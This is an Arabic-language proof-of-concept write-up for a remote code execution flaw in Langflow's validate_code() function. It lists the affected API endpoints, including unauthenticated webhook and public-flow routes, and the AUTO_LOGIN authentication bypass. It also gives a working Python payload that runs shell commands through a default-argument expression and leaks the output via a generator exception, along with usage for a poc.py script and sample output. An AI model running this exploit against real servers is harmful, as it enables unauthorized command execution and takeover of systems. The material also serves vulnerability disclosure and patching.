
إثبات المفهوم لـ CVE-2026-0770 - تنفيذ التعليمات البرمجية عن بُعد في Langflow
يحتوي Langflow على ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد في الدالة validate_code() الموجودة في src/lfx/src/lfx/custom/validate.py. تستخدم الدالة exec() لتنفيذ كود Python المقدم من المستخدم دون أي عزل (sandboxing)، مما يسمح بتنفيذ أوامر عشوائية على الخادم.
تم تحديد ثغرات مشابهة في دوال ونقاط نهاية ذات صلة:
تقوم الدالة validate_code() بتحليل الكود المقدم من المستخدم وتنفيذ تعريفات الدوال باستخدام :
exec()# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- تنفيذ تعليمات برمجية عشوائية
يتضمن سياق exec_globals إمكانية الوصول إلى importlib والدوال المدمجة في Python، مما يسمح للمهاجمين باستيراد وحدات خطيرة (os, subprocess, socket) وتنفيذ أوامر نظام عشوائية.
| نقطة النهاية | المصادقة | ناقل الهجوم |
|---|---|---|
POST /api/v1/validate/code | مطلوبة* | إرسال كود مباشر |
POST /api/v1/custom_component | مطلوبة* | كود في تعريف المكوّن |
POST /api/v1/custom_component/update | مطلوبة* | كود في تحديث المكوّن |
POST /api/v1/webhook/{flow_id} | لا شيء | تدفق يحتوي على مكوّنات كود |
POST /api/v1/build_public_tmp/{flow_id}/flow | لا شيء | تنفيذ تدفق عام |
* يمكن تجاوز المصادقة عندما يكون AUTO_LOGIN=true (الإعداد الافتراضي)
الدوال التالية في validate.py تستخدم أيضًا exec() بشكل غير آمن:
| الدالة | السطر | الوصف |
|---|---|---|
validate_code() | 66 | تتحقق من كود المستخدم |
eval_function() | 140 | تقيّم سلاسل الدوال |
execute_function() | 182 | تنفذ دوال عشوائية |
create_function() | 227 | تنشئ دوال من الكود |
create_class() | 241-442 | تنشئ فئات عبر prepare_global_scope() و build_class_constructor() |
تنفذ الدالة validate_code() تعريفات الدوال فقط، وليس استدعاءات الدوال. لتحقيق تنفيذ الكود مع استخراج المخرجات، نستغل ترتيب تقييم Python للوسائط الافتراضية.
الرؤية الأساسية: يتم تقييم تعبيرات الوسائط الافتراضية في وقت تعريف الدالة، وليس عند استدعائها.
def foo(x=print("I execute immediately")):
pass
ومع ذلك، نحتاج إلى استخراج المخرجات عبر استجابة HTTP. تُرجع نقطة النهاية الأخطاء في نص الاستجابة، لذا نحتاج إلى إثارة استثناء يحتوي على مخرجاتنا.
المشكلة: raise عبارة (statement) وليست تعبيرًا (expression)، لذا لا يمكن استخدامها مباشرة في وسيط افتراضي.
الحل: استخدام طريقة .throw() الخاصة بالمولّد، والتي تثير استثناءً وهي تعبير:
(_ for _ in ()).throw(Exception("output here"))
ينشئ هذا مولّدًا فارغًا ويثير استثناءً فورًا. وبدمجه مع lambda لالتقاط مخرجات الأوامر:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
مسار التنفيذ:
exec() تعريف الدالة_=... فورًاsubprocess.run() الأمر.throw() الخاص بالمولّدvalidate_code() وتُرجعه كخطأ في الاستجابةpython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| العلامة | الوصف |
|---|---|
-t, --target | عنوان URL الهدف (مطلوب) |
-c, --command | الأمر المراد تنفيذه (الافتراضي: id && whoami) |
-k, --token | رمز JWT (اختياري، يستخدم تسجيل الدخول التلقائي افتراضيًا) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py